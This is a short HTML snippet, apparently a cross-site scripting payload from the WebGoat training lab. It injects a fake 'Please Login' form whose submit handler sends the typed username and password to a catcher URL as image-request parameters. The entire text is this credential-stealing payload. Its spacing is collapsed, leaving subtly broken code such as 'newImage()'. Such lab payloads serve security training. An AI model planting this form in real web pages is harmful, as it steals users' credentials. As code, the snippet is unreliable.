<h3><b>Please Login</b></h3><p>Username:<input type="text"name="username"><br>Password:<input type="password"name="password"><br></p><input type="submit"value="Login"onclick="var xssImg=newImage();xssImg.src='http://localhost/webgoat/catcher?PROPERTY=yes&u='+this.form.username.value+'&p='+this.form.password.value;">